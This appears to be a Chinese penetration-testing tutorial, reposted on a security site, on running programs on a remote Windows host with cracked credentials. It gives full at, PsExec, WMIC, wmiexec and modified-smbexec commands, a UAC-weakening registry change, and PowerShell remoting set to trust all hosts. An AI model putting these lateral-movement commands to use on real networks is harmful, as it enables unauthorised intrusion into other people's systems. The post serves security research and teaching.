在远程系统上执行程序的技术整理

admin 2019年5月8日01:41:01评论262 views字数 2959阅读9分51秒阅读模式
摘要

上一篇学习了如何导出域内所有用户hash,那么,接下来准备用破解出的用户名口令尝试远程登陆目标主机并执行程序,结合实际环境做了如下测试.

0x00 前言


上一篇学习了如何导出域内所有用户hash,那么,接下来准备用破解出的用户名口令尝试远程登陆目标主机并执行程序,结合实际环境做了如下测试.

0x01 目标


远程登陆目标主机执行测试程序

0x02 测试环境


远程主机:

ip192.168.40.137    用户名:test 口令:testtest 操作系统:win7 x64 

远程登陆方式:

net use远程登陆,不使用3389 

Tips:

解决工作组环境无法远程登陆执行程序的方法:

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1

0x03 测试方法


1、at&schtasks

计划任务方式执行程序。

条件:

启动Task Scheduler服务   

2、psexec

PsTools工具之一,在指定的一台或多台计算机上运行应用程序

条件:

需要开放ADMIN$共享 

3、WMIC

功能强大,可做系统管理、远程主机信息获取

条件:

启动WMI服务,开放135端口 本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证” 

4、wmiexec

使用VBS脚本调用WMI来模拟psexec的功能,基本上psexec能用的地方,这个脚本也能够使用。

条件:

启动WMI服务,开放135端口 本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证” 

0x04 实际测试


使用用户名口令远程登陆192.168.40.137,如图1

在远程系统上执行程序的技术整理

查看目标主机共享资源,如图1-2

在远程系统上执行程序的技术整理

1、at&schtasks

at //192.168.40.137 

找不到网络路径,判断是目标主机已禁用Task Scheduler服务

如图2

在远程系统上执行程序的技术整理

2、psexec

PsExec.exe //192.168.40.137 /accepteula -u test -p testtest -c c:/runtest/calc.exe 

找不到网络名,判断目标主机已禁用ADMIN$共享

如图3

在远程系统上执行程序的技术整理

3、WMIC

wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe 

Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

如图4

在远程系统上执行程序的技术整理

4、wmiexec

cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig" 

WMIEXEC ERROR: 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

如图5

在远程系统上执行程序的技术整理

0x05 分析


整理下目前掌握的目标主机信息:

目标主机:

1、已获得登陆用户名及口令 2、可以net use连接 3、开放共享C 

但是:

1、默认admin$共享关闭,无法使用psexec 2Task scheduler关闭,无法使用atschtasks 3Windows Management Instrumentation服务关闭,关闭135端口无法使用wmicwmiexec 4、不支持3389 

那么,如何在目标主机远程执行程序?

猜测管理员应该是对常用的远程执行程序的方法做了限制,就在一筹莫展的时候突然想到了smbexec,它是基于psexec,如果目标主机开放了其他默认共享,倒是可以尝试smbexec

于是搜索smbexec,终于在GitHub上面找到了一个smbexec的c++参考资料,作为工具改进模版

模版下载地址:

https://github.com/sunorr/smbexec

0x06 改进方案


模版中的bug不细讲,最终我成功用vc6实现了psexec的功能,同时也做了一些改进:

1、可指定默认共享名

为了完成上述测试,加入了参数来指定默认共享,如果ADMIN$共享关闭,那么可以尝试其他磁盘的默认共享

2、分离安装服务的功能

在实际测试过程中,如果ADMIN$共享关闭,c$共享开启,因为UAC的缘故,注册安装服务的功能会出现bug,采取的解决办法为将实现注册安装服务功能的exe单独上传至c:/windows下, 即可解决权限不够的问题

0x07 方案测试


1、工具说明

文件说明:

test.exe:主程序 execserver.exe:实现注册安装服务的辅助程序 

参数说明:

test.exe ip user password command netshare 

eg:

test.exe 192.168.40.137 test testtest whoami c$ 

2、使用流程

(1)上传execserver.exe至c:/windows

copy execserver.exe //192.168.40.137/c$/windows 

(2)远程执行

test.exe 192.168.40.137 test testtest whoami c$ 

如图6

在远程系统上执行程序的技术整理

最终我们通过改造的smbexec,突破目标主机限制,成功远程执行程序。

程序源码下载链接:

smbexec_source.zip

0x08 补充


1、powershell remoting

实现在目标主机远程执行程序后,可对目标主机开放powershell remoting,用作远程连接

条件:

远程连接会有痕迹 本机要开启winRM服务 

命令汇总:

列出所有远程信任主机

powershell Get-Item WSMan:/localhost/Client/TrustedHosts 

设置信任所有主机

powershell Set-Item WSMan:/localhost/Client/TrustedHosts -Value * -Force  

设置允许运行ps1文件

powershell Set-ExecutionPolicy Unrestricted  

执行test.ps1文件

powershell -ExecutionPolicy Bypass -File test.ps1  

ps1文件如下:

$UserName = "test"  $serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)   invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig } 

2、python smbexec

随后用python写的smbexec也实现了相同的功能,但py2exe的时候遇到了大麻烦,如果有更简单的方法, 希望能得到你的帮助。

0x09 小结


这篇文章共列举了六种远程执行程序的方法,如果已经成功登陆目标主机,却无法执行程序,最心塞的事情莫过于此。

at  psexec  WMIC  wmiexec  smbexec  powershell remoting ... 

获得用户名口令,实现远程执行程序仅仅是个开始,内网渗透会很有趣。

水平有限,欢迎补充。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年5月8日01:41:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在远程系统上执行程序的技术整理https://cn-sec.com/archives/58549.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息